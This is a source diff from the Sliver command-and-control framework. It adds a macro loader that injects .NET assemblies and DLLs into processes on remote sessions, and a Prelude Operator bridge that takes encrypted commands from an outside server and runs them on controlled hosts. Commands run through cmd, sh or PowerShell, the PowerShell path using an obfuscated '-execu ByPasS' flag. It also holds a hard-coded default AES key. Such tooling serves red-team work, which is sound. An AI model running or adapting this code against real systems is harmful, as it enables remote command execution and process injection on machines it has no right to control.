con.PrintErrorf("%s\n", err)
}
// parse it
ext := &macro{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
con.PrintErrorf("Error loading macro: %v", err)
return
}
ext.Path = dirPath
// for each macro command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
macroCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runMacroCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.MacroHelpGroup,
}
con.App.AddCommand(macroCmd)
}
con.PrintInfof("%s macro has been loaded\n", ext.Name)
}
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
func init() {
commandMap = make(map[string]macro)
}
+46
View File
@@ -0,0 +1,46 @@
package operator
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
url := ctx.Args.String("connection-string")
aesKey := ctx.Flags.String("aes-key")
agentRange := ctx.Flags.String("range")
skipExisting := ctx.Flags.Bool("skip-existing")
config := &prelude.OperatorConfig{
Range: agentRange,
OperatorURL: url,
RPC: con.Rpc,
AESKey: aesKey,
}
sessMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get session list: %s", err)
return
}
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, sess := range sessions.Sessions {
err = sessMapper.AddSession(sess)
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
}
}
con.PrintInfof("Done !\n")
}
}
}
+15
View File
@@ -0,0 +1,15 @@
package operator
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/desertbit/grumble"
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
}
+18 -1
View File
@@ -32,6 +32,7 @@ import (
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -95,6 +96,8 @@ type BindCmds func(console *SliverConsoleClient)
// Start - Console entrypoint
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
assets.Setup(false, false)
con := &SliverConsoleClient{
App: grumble.New(&grumble.Config{
Name: "Sliver",
@@ -185,6 +188,13 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
}
// Prelude Operator
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add session to Operator: %s", err)
}
}
case consts.SessionUpdateEvent:
session := event.Session
@@ -199,7 +209,14 @@ func (con *SliverConsoleClient) EventLoop() {
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveSession.Set(nil)
con.App.SetPrompt(con.GetPrompt())
con.Printf(Warn + " Active session disconnected\n")
con.Printf(Warn + "Active session disconnected\n")
}
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if err != nil {
con.PrintErrorf("Could not remove session from Operator: %s", err)
}
con.PrintInfof("Removed session %s from Operator\n", session.Name)
}
con.Println()
}
+9 -1
View File
@@ -115,6 +115,7 @@ const (
UnsetStr = "unset"
SaveStr = "save"
ReloadStr = "reload"
LoadStr = "load"
LootStr = "loot"
LootLocalStr = "local"
@@ -174,7 +175,8 @@ const (
MigrateStr = "migrate"
SideloadStr = "sideload"
SpawnDllStr = "spawndll"
LoadExtensionStr = "load-extension"
ExtensionStr = "extension"
LoadMacroStr = "load-macro"
StageListenerStr = "stage-listener"
WebsitesStr = "websites"
@@ -205,9 +207,14 @@ const (
ReactionStr = "reaction"
HostsStr = "hosts"
IOCStr = "ioc"
LicensesStr = "licenses"
GetPrivsStr = "getprivs"
OperatorStr = "operator"
ConnectStr = "connect"
)
// Groups
@@ -216,5 +223,6 @@ const (
SliverHelpGroup = "Sliver:"
SliverWinHelpGroup = "Sliver - Windows:"
MultiplayerHelpGroup = "Multiplayer:"
MacroHelpGroup = "Sliver - 3rd Party macros:"
ExtensionHelpGroup = "Sliver - 3rd Party extensions:"
)
+4
View File
@@ -0,0 +1,4 @@
Prelude
=======
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
+132
View File
@@ -0,0 +1,132 @@
package prelude
import (
"bufio"
"bytes"
"context"
"encoding/json"
"io"
"net"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
//TODO handle link.payloadPath
payloadPath := ""
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
link.Response = response
link.Status = status
link.Pid = pid
a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+92
View File
@@ -0,0 +1,92 @@
package prelude
import (
"context"
"fmt"
"log"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
switch task[0] {
case "config":
// return updateConfiguration(task[1], agent)
// case "shell":
// return pty.SpawnShell(task[1], agent)
case "exit":
return shutdown(agent, rpc, session)
default:
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agent, rpc, session)
return string(bites), status, pid
}
return "", 0, 0
}
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
}
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(session),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
}
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, 0, 0
}
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
}
func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/C", "/S"}
case "powershell", "psh":
args = []string{"-execu", "ByPasS", "-C"}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
return args
}
func splitMessage(message string, splitRune rune) []string {
quoted := false
values := strings.FieldsFunc(message, func(r rune) bool {
if r == '"' {
quoted = !quoted
}
return !quoted && r == splitRune
})
return values
}
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
Force: false,
Request: MakeRequest(session),
})
if err != nil {
return err.Error(), 1, 0
}
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
}
+91
View File
@@ -0,0 +1,91 @@
package prelude
import (
"crypto/md5"
"encoding/hex"
"io"
"sort"
)
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() Beacon
}
type AgentConfig struct {
Name string
AESKey string
Range string
Contact string
Address string
Useragent string
Sleep int
KillSleep int
CommandJitter int
CommandTimeout int
Pid int
Proxy string
Debug bool
Executing map[string]Instruction
}
type Beacon struct {
Name string
Target string
Hostname string
Location string
Platform string
Executors []string
Range string
Sleep int
Pwd string
Executing string
Links []Instruction
}
type Instruction struct {
ID string `json:"ID"`
Executor string `json:"Executor"`
Payload string `json:"Payload"`
Request string `json:"Request"`
Response string
Status int
Pid int
}
func (c *AgentConfig) BuildExecutingHash() string {
if count := len(c.Executing); count > 0 {
ids := make([]string, count)
for id := range c.Executing {
ids = append(ids, id)
}
sort.Strings(ids)
h := md5.New()
for _, s := range ids {
io.WriteString(h, s)
}
return hex.EncodeToString(h.Sum(nil))
}
return ""
}
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
if _, ex := c.Executing[instruction.ID]; ex {
return false
}
c.Executing[instruction.ID] = instruction
return true
}
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
for _, i := range instructions {
if c.StartInstruction(i) {
ret = append(ret, i)
}
}
return
}
func (c *AgentConfig) EndInstruction(instruction Instruction) {
delete(c.Executing, instruction.ID)
}
+119
View File
@@ -0,0 +1,119 @@
package prelude
import (
"context"
"errors"
"fmt"
"net"
"sync"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
aesDefaultKey = "abcdefghijklmnopqrstuvwxyz012345"
)
var SessionMapper *PreludeSessionMapper
type OperatorConfig struct {
Range string
OperatorURL string
RPC rpcpb.SliverRPCClient
AESKey string
}
type PreludeSessionMapper struct {
sessions []*AgentSession
conf *OperatorConfig
sync.Mutex
}
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
if SessionMapper == nil {
SessionMapper = &PreludeSessionMapper{
sessions: make([]*AgentSession, 0),
conf: conf,
}
}
return SessionMapper
}
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(s),
})
if err != nil {
return err
}
if pwdResp != nil {
pwd = pwdResp.Path
}
// Operator implants have embeded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
Target: p.conf.OperatorURL,
Hostname: s.Hostname,
Location: s.Filename,
Platform: s.OS,
Range: p.conf.Range,
Executors: util.DetermineExecutors(s.OS, s.Arch),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: 3,
}
encryptionKey := aesDefaultKey
if p.conf.AESKey != "" {
encryptionKey = p.conf.AESKey
}
agentConfig := AgentConfig{
Name: sessName,
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(s.PID),
Executing: make(map[string]Instruction),
}
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
p.Lock()
p.sessions = append(p.sessions, agentSession)
p.Unlock()
go agentSession.ReceiveLoop()
return nil
}
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
p.Lock()
for _, agentSession := range p.sessions {
if agentSession.Session.ID == s.ID {
if agentSession.Conn != nil {
err = (*agentSession.Conn).Close()
} else {
err = errors.New("connection is nil")
}
}
}
p.Unlock()
return err
}
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
return p.conf
}
+66
View File
@@ -0,0 +1,66 @@
package util
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/hex"
"errors"
"fmt"
"io"
)
var EncryptionKey *string
//Encrypt the results
func Encrypt(bites []byte) []byte {
plainText, err := pad(bites, aes.BlockSize)
if err != nil {
return make([]byte, 0)
}
block, _ := aes.NewCipher([]byte(*EncryptionKey))
cipherText := make([]byte, aes.BlockSize+len(plainText))
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
}
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
return []byte(fmt.Sprintf("%x", cipherText))
}
//Decrypt a command
func Decrypt(text string) string {
cipherText, _ := hex.DecodeString(text)
block, err := aes.NewCipher([]byte(*EncryptionKey))
if err != nil {
return ""
}
iv := cipherText[:aes.BlockSize]
cipherText = cipherText[aes.BlockSize:]
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(cipherText, cipherText)
cipherText, _ = unpad(cipherText, aes.BlockSize)
return string(cipherText)
}
func pad(buf []byte, size int) ([]byte, error) {
bufLen := len(buf)
padLen := size - bufLen%size
padded := make([]byte, bufLen+padLen)
copy(padded, buf)
for i := 0; i < padLen; i++ {
padded[bufLen+i] = byte(padLen)
}
return padded, nil
}
func unpad(padded []byte, size int) ([]byte, error) {
if len(padded)%size != 0 {
return nil, errors.New("pkcs7: Padded value wasn't in correct size")
}
bufLen := len(padded) - int(padded[len(padded)-1])
buf := make([]byte, bufLen)
copy(buf, padded[:bufLen])
return buf, nil
}
+30
View File
@@ -0,0 +1,30 @@
package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
"executor": {"pwsh", "psh", "cmd"},
},
"linux": {
"file": {"python3", "pwsh", "sh", "bash"},
"executor": {"python", "pwsh", "sh", "bash"},
},
"darwin": {
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
},
}
var executors []string
for platformKey, platformValue := range platformExecutors {
if platform == platformKey {
for i := range platformValue["file"] {
// if checkIfExecutorAvailable(platformValue["file"][i]) {
executors = append(executors, platformExecutors[platformKey]["executor"][i])
// }
}
}
}
executors = append([]string{"keyword"}, executors...)
return executors
}
+8 -7
View File
@@ -19,6 +19,7 @@ package transport
*/
import (
"context"
"crypto/tls"
"crypto/x509"
"fmt"
@@ -51,12 +52,13 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
}
creds := credentials.NewTLS(tlsConfig)
options := []grpc.DialOption{
grpc.WithTimeout(defaultTimeout),
grpc.WithTransportCredentials(creds),
grpc.WithBlock(),
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
}
connection, err := grpc.Dial(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
if err != nil {
return nil, nil, err
}
@@ -81,17 +83,16 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
RootCAs: caCertPool,
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
return rootOnlyVerifyCertificate(caCertificate, rawCerts)
return RootOnlyVerifyCertificate(caCertificate, rawCerts)
},
}
tlsConfig.BuildNameToCertificate()
return tlsConfig, nil
}
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
// we have to disable all of the fucking certificate validation and re-implement everything.
// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
// we have to disable all of the certificate validation and re-implement everything.
// https://github.com/golang/go/issues/21971
func rootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
roots := x509.NewCertPool()
ok := roots.AppendCertsFromPEM([]byte(caCertificate))
+13
View File
@@ -21,9 +21,11 @@
GO_VER="1.17"
GARBLE_VER="1.17.1"
COFF_LOADER_VER="1.0.5"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
GO_ARCH_3="386"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
if ! [ -x "$(command -v curl)" ]; then
@@ -47,6 +49,7 @@ fi
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
OUTPUT_DIR=$REPO_DIR/server/assets/fs
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
WORK_DIR=`mktemp -d`
echo "-----------------------------------------------------------------"
@@ -130,6 +133,10 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
# --- Client ---
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
echo "-----------------------------------------------------------------"
echo " Garble"
echo "-----------------------------------------------------------------"
@@ -138,6 +145,12 @@ curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/mo
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
echo "-----------------------------------------------------------------"
echo " COFF Loader"
echo "-----------------------------------------------------------------"
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
# end
echo -e "clean up: $WORK_DIR"
rm -rf $WORK_DIR
+16 -1
View File
@@ -32,7 +32,6 @@ else
exit 1
fi
## Server
# server / website
@@ -83,6 +82,22 @@ else
exit 1
fi
# server / configs
if go test -tags=server ./server/configs ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / console
if go test -tags=server ./server/console ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / generate
if go test -tags=server ./server/generate -timeout 6h ; then
:
+6 -2
View File
@@ -10,6 +10,7 @@ require (
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.4.16 // indirect
github.com/alecthomas/chroma v0.8.1
@@ -24,6 +25,7 @@ require (
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194
github.com/lesnuages/go-winio v0.4.19
@@ -41,6 +43,7 @@ require (
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.org/x/text v0.3.6
golang.zx2c4.com/wireguard v0.0.20200121
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
@@ -59,6 +62,8 @@ require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
@@ -83,13 +88,12 @@ require (
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-runewidth v0.0.7 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
golang.org/x/text v0.3.6 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
+15 -1
View File
@@ -17,12 +17,15 @@ github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0T
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
